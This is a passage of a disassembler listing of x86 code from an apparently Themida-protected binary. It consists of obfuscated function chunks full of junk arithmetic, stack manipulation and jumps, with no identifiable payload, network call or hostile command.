		jmp	loc_59B571
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5983E0:				; CODE XREF: sub_59390B+C6j
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		push	esi
		sub	esp, 4
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		pop	esi
		add	esi, 4
		push	eax
		jmp	loc_593D1A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598408:				; CODE XREF: Themida_:0059178Cj
		neg	ebp
		and	ebp, 17011B4Ah
		jmp	loc_5971E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598415:				; CODE XREF: sub_59390B+1118Cj
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+10h+var_10]
		pop	esp
		push	[esp+0Ch+var_C]
		pop	eax
		add	esp, 4
		push	49E7h
		jmp	loc_5A1D0A
; ---------------------------------------------------------------------------


loc_598439:				; CODE XREF: sub_59390B-1565j
		xor	esi, 0D207A92Fh
		sub	ecx, esi
		pop	esi
		mov	edx, [esp-1Eh+arg_14+2]
		sub	esp, 4
		mov	[esp-1Ah+arg_10+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 4EA10A32h
		push	edi
		push	251C1C5Eh
		mov	edi, [esp-0Eh+arg_4+2]
		add	esp, 4
		or	eax, edi
		pop	edi
		jmp	loc_597965
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598470:				; CODE XREF: Themida_:0059237Fj
		pop	ebp
		dec	ebp
		dec	ebp
		not	ebp
		jmp	loc_5969F1
; ---------------------------------------------------------------------------


loc_59847A:				; CODE XREF: Themida_:005A48BAj
		shr	esi, 7
		not	esi
		dec	esi
		add	esi, 14E42E24h
		add	esi, 319C71DAh
		sub	edx, esi
		jmp	loc_59C62C
; ---------------------------------------------------------------------------


loc_598493:				; CODE XREF: Themida_:005A0870j
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 38186921h
		shl	ebx, 8
		jmp	loc_5975FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5984A3:				; CODE XREF: sub_59390B+4FDj
		add	eax, 3BAA8C23h
		add	ebx, eax
		pop	eax
		add	ebx, eax
		push	edx
		mov	edx, 1AB06071h
		sub	edx, 56AE34E5h
		and	edx, 1CDF5B82h
		add	edx, 0FE54462h
		add	ebx, 750E1ADAh
		sub	ebx, edx
		sub	ebx, 750E1ADAh
		mov	edx, [esp-1Ah+arg_10+2]
		jmp	loc_5A0331
; ---------------------------------------------------------------------------


loc_5984DB:				; CODE XREF: sub_59390B+51F4j
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp-1Ah+arg_10+2], edx
		push	[esp-1Ah+arg_14+2]
		mov	edx, [esp-16h+arg_C+2]
		jmp	loc_5A59F4
; ---------------------------------------------------------------------------


loc_5984F0:				; CODE XREF: sub_59390B+4227j
		add	edx, eax
		add	edx, 55924812h
		push	[esp-18h+arg_10]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_59D490
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598504:				; CODE XREF: Themida_:005A40ABj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A0DD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59850F:				; CODE XREF: sub_59390B+C26Aj
		mov	ecx, 37B674FCh
		inc	ecx
		push	edx
		mov	edx, 0
		add	edx, 70EC596Ah
		sub	edx, ecx
		jmp	loc_59F334
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598528:				; CODE XREF: Themida_:0059DBA2j
		push	eax
		mov	eax, offset byte_434421
		shl	eax, 8
		xor	eax, 44B70F4Fh
		sub	esi, eax
		pop	eax
		pop	ebp
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_59D633
; ---------------------------------------------------------------------------


loc_598544:				; CODE XREF: Themida_:0059D31Ej
		dec	esi
		and	esi, 5AC27B3Fh
		neg	esi
		xor	esi, 0D49F4904h
		jmp	loc_5A1E6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598558:				; CODE XREF: sub_59390B+4EA4j
		add	ecx, 6BC65E0Bh
		jmp	loc_5936E5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_598563:				; CODE XREF: sub_591FC5+975Dj
		not	ah
		xchg	ah, dh
		jmp	loc_59C301
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59856C:				; CODE XREF: sub_59390B+2F6j
		push	7A06h
		mov	[esp-10h+arg_8], esi
		mov	esi, 20101D75h
		push	2380h
		mov	[esp-0Ch+arg_4], ecx
		jmp	loc_591E75
; ---------------------------------------------------------------------------


loc_598586:				; CODE XREF: sub_59390B+ABD8j
		add	ecx, 496A01CEh
		pop	eax
		push	edi
		push	eax
		push	61FD7B1Dh
		pop	eax
		not	eax
		jmp	loc_5925D5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59859C:				; CODE XREF: Themida_:005A0BBFj
		pop	ebp
		dec	ecx
		push	227Ah
		jmp	loc_5A1C03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5985A8:				; CODE XREF: sub_59390B+64j
		push	ecx
		mov	ecx, 6A7F2083h
		add	[esp-8+arg_8], ecx
		jmp	loc_5A0875
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2801


loc_5985B7:				; CODE XREF: sub_5A2801-58B7j
		add	edx, 272042E4h
		add	edx, 580942ECh
		add	edx, ecx
		jmp	loc_592667
; END OF FUNCTION CHUNK	FOR sub_5A2801
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5985CA:				; CODE XREF: sub_59390B+C515j
		add	ebx, eax
		sub	ebx, 5246AEAh
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5A381B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5985E3:				; CODE XREF: Themida_:005997ACj
		xor	ch, 0ECh
		inc	ch
		or	ch, 0D5h
		sub	ch, 97h
		add	al, ch
		mov	ecx, [esp]
		jmp	loc_5A0089
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5985F8:				; CODE XREF: sub_59390B+30E1j
		mov	[esp+0], eax
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598600:				; CODE XREF: Themida_:0059CB45j
		push	ebp
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		pop	ebp
		shl	ebp, 3
		push	edi
		jmp	loc_597893
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_598613:				; CODE XREF: sub_590BDF+133D0j
		push	52EBh
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	esi, [esp+8+var_8]
		jmp	loc_599A5F
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598627:				; CODE XREF: sub_59390B+D958j
		shl	eax, 1
		shl	eax, 4
		xchg	eax, ebx
		dec	ebx
		push	eax
		push	ebx
		pop	eax
		pop	ebx
		sub	eax, 3FE8DEDBh
		add	edx, 5515ADFh
		add	edx, eax
		jmp	loc_59D1A2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598644:				; CODE XREF: Themida_:0059CA17j
		push	eax
		mov	eax, 61C930B8h
		jmp	loc_59F176
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C8A4


loc_59864F:				; CODE XREF: sub_59C8A4-AEB8j
		pop	ebx
		add	ebp, 404E3C87h
		push	[esp-8+arg_4]
		pop	esi
		jmp	loc_59741D
; END OF FUNCTION CHUNK	FOR sub_59C8A4
; ---------------------------------------------------------------------------


loc_59865F:				; CODE XREF: Themida_:0059473Dj
		pop	esi
		push	eax
		push	edi
		jmp	loc_5A44E1
; ---------------------------------------------------------------------------


loc_598667:				; CODE XREF: Themida_:0059A023j
		push	ebp
		jmp	loc_5A4BD2
; ---------------------------------------------------------------------------


loc_59866D:				; CODE XREF: Themida_:005910E5j
		mov	[esp], dx
		jmp	loc_59E2E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28F6


loc_598676:				; CODE XREF: sub_5A28F6-2C78j
		mov	esp, [esp+8+var_8]
		jmp	loc_5A4731
; END OF FUNCTION CHUNK	FOR sub_5A28F6
; ---------------------------------------------------------------------------


loc_59867E:				; CODE XREF: Themida_:005953AAj
		and	si, 269Ch
		shl	si, 3
		jmp	loc_5A3BF8
; ---------------------------------------------------------------------------


loc_59868C:				; CODE XREF: Themida_:0059987Ej
		sub	eax, 0FFFFFFFFh
		sub	eax, 0D43C46Bh
		sub	eax, ebp
		xchg	eax, ebp
		jmp	loc_5A325F
; ---------------------------------------------------------------------------


loc_59869E:				; DATA XREF: Themida_:005907DCo
		mov	ax, [esp]
		push	0F0Fh
		mov	[esp], ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3C1C3A85h
		add	ebx, 23627BF4h
		xor	ebx, 0CD07DFCh
		push	edi
		jmp	loc_5A040A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F4F


loc_5986CC:				; CODE XREF: sub_5A4F4F-135D2j
		push	[esp+8+var_8]
		mov	ebx, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_593B70
; END OF FUNCTION CHUNK	FOR sub_5A4F4F
; ---------------------------------------------------------------------------


loc_5986E8:				; CODE XREF: Themida_:0059D234j
		mov	esi, 0EF60AFAh
		sub	dword ptr [esp+8], 4B6B7B2Fh
		add	[esp+8], esi
		add	dword ptr [esp+8], 4B6B7B2Fh
		mov	esi, [esp]
		push	edx
		push	1AF6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edx
		push	esi
		mov	esi, 519536FEh
		inc	esi
		xor	esi, 32E87702h
		or	esi, 481378C7h
		add	esi, 0B4CC8706h
		mov	edx, esi
		pop	esi
		add	[esp+8], edx
		pop	edx
		sub	dword ptr [esp+4], 7FBE27A9h
		sub	[esp+4], edx
		add	dword ptr [esp+4], 7FBE27A9h
		jmp	loc_5A350F

; =============== S U B	R O U T	I N E =======================================



sub_598762	proc near		; DATA XREF: Themida_:00590A48o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00593645 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00594DBD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005958B4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059783B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005987FF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005989FC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AA29 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C16D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059D92E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059F273 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059F3BB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A021C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A386F SIZE 0000000C BYTES

		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		sub	esp, 4
		push	esp
		pop	[esp+0Ch+var_C]
		add	[esp+8+var_8], 4
		jmp	loc_59D92E
sub_598762	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59877F:				; CODE XREF: sub_59390B+B180j
		mov	esi, edi
		pop	edi
		add	esi, 0FFFFFFFFh
		xor	esi, 15354E3Eh
		inc	esi
		jmp	loc_590DA3
; ---------------------------------------------------------------------------


loc_598791:				; CODE XREF: sub_59390B+5D22j
		push	edi
		mov	edi, 75FC2742h
		mov	ecx, edi
		pop	edi
		add	ecx, 1D1E6197h
		sub	ecx, 64846498h
		shr	ecx, 7
		and	ecx, 34F61CF9h
		jmp	loc_598558
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5987B4:				; CODE XREF: Themida_:0059114Aj
		xchg	edi, [esp]
		jmp	loc_595E9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5987BC:				; CODE XREF: sub_59390B+666j
		pop	esp
		add	ax, 4A96h
		add	ax, 3558h
		jmp	loc_595969
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21DE


loc_5987CA:				; CODE XREF: sub_5A21DE-B07Bj
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		push	6C50h
		mov	[esp+8+var_8], ebp
		jmp	sub_5A12B1
; END OF FUNCTION CHUNK	FOR sub_5A21DE
; ---------------------------------------------------------------------------


loc_5987E6:				; CODE XREF: Themida_:00595CF7j
		or	ebx, edx
		pop	edx
		jmp	loc_59FD7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5987EE:				; CODE XREF: sub_59390B-E0j
		mov	edx, [esp-10h+arg_8]
		add	esp, 4
		dec	eax
		sub	eax, 33BB47D4h
		jmp	loc_5A18B8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_5987FF:				; CODE XREF: sub_598762+22CDj
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_593645
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------


loc_598810:				; CODE XREF: Themida_:0059F7CEj
		mov	ebx, esp
		push	3F21h
		mov	[esp], eax
		push	0F8D1A66h
		pop	eax
		not	eax
		inc	eax
		or	eax, 346431A7h
		jmp	loc_5A0606
; ---------------------------------------------------------------------------


loc_59882D:				; CODE XREF: Themida_:005978A3j
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		jmp	loc_59BA7F
; ---------------------------------------------------------------------------


loc_598837:				; CODE XREF: Themida_:005A2138j
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5A4B59
; ---------------------------------------------------------------------------


loc_59884D:				; CODE XREF: Themida_:005A34A4j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	5E86h
		jmp	loc_59BD2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59885D:				; CODE XREF: sub_59390B+2278j
		mov	ecx, [esp-8+arg_0]
		jmp	loc_5A4964
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_598865:				; CODE XREF: sub_59EA40-2F5Fj
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_59C8AA
; END OF FUNCTION CHUNK	FOR sub_59EA40

; =============== S U B	R O U T	I N E =======================================



sub_59886E	proc near		; CODE XREF: sub_590BDF+45A1j
					; sub_59DC9E-82BFj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00594591 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00594DCA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597075 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005971AE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005977F6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00598B15 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059C581 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C7FA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D16D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059E616 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A08D0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1BC9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A34C5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4ECD SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	25E6h
		mov	[esp+8+var_8], ebx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	ebp
		jmp	loc_594DCA
sub_59886E	endp

; ---------------------------------------------------------------------------


loc_59888B:				; CODE XREF: Themida_:0059242Fj
		push	dword ptr [esp]
		jmp	loc_5A29C6
; ---------------------------------------------------------------------------


loc_598893:				; CODE XREF: Themida_:00595F22j
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, 8163B7D5h
		jmp	loc_5A42AE
; ---------------------------------------------------------------------------


loc_5988A5:				; CODE XREF: Themida_:005923A0j
		dec	edi
		add	edi, 0C0B8D86Dh
		jmp	loc_59F0E7
; ---------------------------------------------------------------------------


loc_5988B1:				; CODE XREF: Themida_:0059329Cj
		pop	edx
		jmp	loc_59608D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BBA6


loc_5988B7:				; CODE XREF: sub_59BBA6-927Cj
		pop	ebx
		and	ebx, ebp
		mov	ebp, [esp-4+arg_0]
		jmp	loc_59B0B9
; END OF FUNCTION CHUNK	FOR sub_59BBA6
; ---------------------------------------------------------------------------


loc_5988C2:				; CODE XREF: Themida_:005A442Aj
		pop	edx
		add	[esp+8], eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	eax
		push	58D85187h
		pop	eax
		jmp	loc_59A8C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5988DD:				; CODE XREF: sub_59390B+8494j
		add	ebp, edx
		push	[esp-8+arg_0]
		jmp	loc_598B3B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599F38


loc_5988E7:				; CODE XREF: sub_599F38+54DCj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		push	50EBh
		mov	[esp+10h+var_10], eax
		push	322Bh
		push	esp
		pop	[esp+18h+var_18]
		add	[esp+14h+var_14], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+10h+var_10]
		xor	[esp+10h+var_10], eax
		xor	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		add	ebp, 4
		jmp	loc_59CEDE
; END OF FUNCTION CHUNK	FOR sub_599F38
; ---------------------------------------------------------------------------


loc_598931:				; CODE XREF: Themida_:005A0502j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59C360
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59893C:				; CODE XREF: sub_59390B-1478j
		add	ecx, 4
		push	edi
		mov	edi, 9000380h
		shl	edi, 8
		inc	edi
		sub	edi, 37FFDh
		jmp	loc_593A18
; ---------------------------------------------------------------------------


loc_598957:				; CODE XREF: sub_59390B+B5A0j
		mov	[esp-0Eh+arg_4+2], ebp
		mov	ebp, 179C3F32h
		xor	ebp, 31292120h
		and	edx, ebp
		mov	ebp, [esp-0Eh+arg_4+2]
		add	esp, 4
		xor	edx, 45056C4Dh
		jmp	loc_59E135
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59897B	proc near		; CODE XREF: sub_59390B+CB3Cj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059C81D SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		jmp	loc_59C81D
sub_59897B	endp

; ---------------------------------------------------------------------------


loc_598994:				; CODE XREF: Themida_:0059E611j
		xor	ebp, edx
		jmp	loc_5A234B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59899B:				; CODE XREF: sub_59390B+AC00j
		pop	esi
		push	eax
		mov	eax, 40F93A35h
		shr	eax, 2
		jmp	loc_59B0DB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5989AA:				; CODE XREF: Themida_:005A2ECAj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A5A8E
; ---------------------------------------------------------------------------


loc_5989C5:				; CODE XREF: Themida_:00595FAEj
		add	bl, al
		push	edx
		mov	dl, 8Fh
		push	6F67h
		mov	[esp], ecx
		push	edx
		push	ebx
		push	ecx
		jmp	loc_59BEA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592586


loc_5989DA:				; CODE XREF: sub_592586+1j
		mov	ebx, 5B6E3288h
		or	ebx, 492752DDh
		sub	ebx, 87016FCCh
		add	esi, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	ebp
		jmp	loc_59FD50
; END OF FUNCTION CHUNK	FOR sub_592586
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_5989FC:				; CODE XREF: sub_598762+7ABBj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59AA29
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A958


loc_598A09:				; CODE XREF: sub_59A958-5C2Cj
		pop	edx
		push	edi
		mov	edi, 4122FFAh
		add	esi, edi
		jmp	loc_5A1E0A
; END OF FUNCTION CHUNK	FOR sub_59A958
; ---------------------------------------------------------------------------


loc_598A17:				; CODE XREF: Themida_:0059CE52j
		mov	ebp, esp
		push	2A9Ah
		mov	[esp], edi
		mov	edi, 686261EFh
		add	edi, 1
		jmp	loc_5A0659
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598A31:				; CODE XREF: sub_59390B+386Cj
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		sub	esi, 352221D6h
		add	esi, ebx
		add	esi, 352221D6h
		pop	ebx
		add	esi, 4
		push	esi
		push	[esp-0Eh+arg_8+2]
		pop	esi
		pop	[esp-0Eh+arg_4+2]
		jmp	loc_59ECAF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598A5C:				; CODE XREF: Themida_:00591720j
		add	esi, 4399290Bh
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 30CA3383h
		push	ebx
		push	eax
		mov	eax, 11172AFBh
		mov	ebx, 1FB30886h
		add	ebx, eax
		pop	eax
		xor	ecx, ebx
		pop	ebx
		sub	esi, 68D0597Dh
		add	esi, ecx
		jmp	loc_5A2D2C
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_59EBE2
; ---------------------------------------------------------------------------


loc_598AB7:				; CODE XREF: Themida_:00598339j
		xor	ebp, [esp]
		jmp	loc_5A4099
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_598ABF:				; CODE XREF: sub_595BAD+DD0Bj
		push	77764339h
		pop	edi
		and	edi, 5CA341D6h
		push	eax
		mov	eax, 13BF6C69h
		add	eax, 50882DDDh
		and	eax, 46A8734Ch
		or	eax, 642C478Eh
		xor	eax, 602F59E7h
		jmp	loc_59D5DF
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598AEA:				; CODE XREF: sub_59390B+BD09j
		add	esp, 4
		push	edi
		mov	edi, 7E7F7C3Bh
		shr	edi, 6
		sub	edi, 1F9FDECh
		jmp	loc_5984DB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598B04:				; CODE XREF: Themida_:0059C55Aj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	6807h
		jmp	loc_592A85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_598B15:				; CODE XREF: sub_59886E-3A96j
		xchg	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ecx
		sub	esp, 4
		mov	[esp+8+var_8], esi
		jmp	loc_597075
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4E7


loc_598B2A:				; CODE XREF: sub_59F4E7+1D29j
		mov	eax, [esp+0]
		add	esp, 4
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_591E81
; END OF FUNCTION CHUNK	FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598B3B:				; CODE XREF: sub_59390B+4FD7j
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		sub	esp, 4
		jmp	loc_596A5D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598B58:				; CODE XREF: Themida_:005A27FCj
		pop	edx
		or	edx, 1A4B59AAh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5B0A527Dh
		jmp	loc_599AB3
; ---------------------------------------------------------------------------


loc_598B6F:				; CODE XREF: Themida_:005932DEj
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	921h
		jmp	loc_5950F5
; ---------------------------------------------------------------------------


loc_598B8C:				; CODE XREF: Themida_:0059CBFEj
		push	dword ptr [esp+4]
		jmp	loc_59CD56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_598B95:				; CODE XREF: sub_59E918+4589j
		shr	ah, 2
		or	ah, 0CEh
		xor	ah, 60h
		sub	bl, 0C3h
		add	bl, ah
		push	cx
		jmp	loc_59B4F2
; END OF FUNCTION CHUNK	FOR sub_59E918

; =============== S U B	R O U T	I N E =======================================



sub_598BAA	proc near		; CODE XREF: sub_59390B+80j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005960DD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596252 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FFDE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3346 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 24587F15h
		mov	edi, 0DBA780EFh
		jmp	loc_596252
sub_598BAA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_598BBA:				; CODE XREF: Themida_:005A2B6Aj
		mov	ebx, [esp]
		jmp	loc_59B7CE
; ---------------------------------------------------------------------------


loc_598BC2:				; CODE XREF: Themida_:005A4C16j
		push	edx
		push	esi
		jmp	loc_59D22B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598BC9:				; CODE XREF: sub_59390B+719Aj
		mov	[esp+0], ebx
		push	esp
		jmp	loc_59E0D1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598BD2:				; CODE XREF: Themida_:0059C514j
		mov	esi, 1685172Ch
		dec	esi
		jmp	loc_5A1B0A
; ---------------------------------------------------------------------------


loc_598BDD:				; CODE XREF: Themida_:0059F171j
		pop	esp
		or	eax, eax
		jz	loc_599EEC
		push	3C31h
		mov	[esp], eax
		push	0FEh
		push	dword ptr [esp]
		jmp	loc_5A42EB
; ---------------------------------------------------------------------------


loc_598BFB:				; CODE XREF: Themida_:0059D26Fj
		add	eax, 60B8E6E4h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_598359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598C0C:				; CODE XREF: sub_59390B-8E3j
		push	cx
		mov	ch, 0C8h
		push	edx
		jmp	loc_59EAE9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598C16:				; CODE XREF: Themida_:0059C361j
		push	58E7h
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5A164F
; ---------------------------------------------------------------------------


loc_598C28:				; CODE XREF: Themida_:005A3351j
		add	esp, 4
		xor	esi, 63064A13h
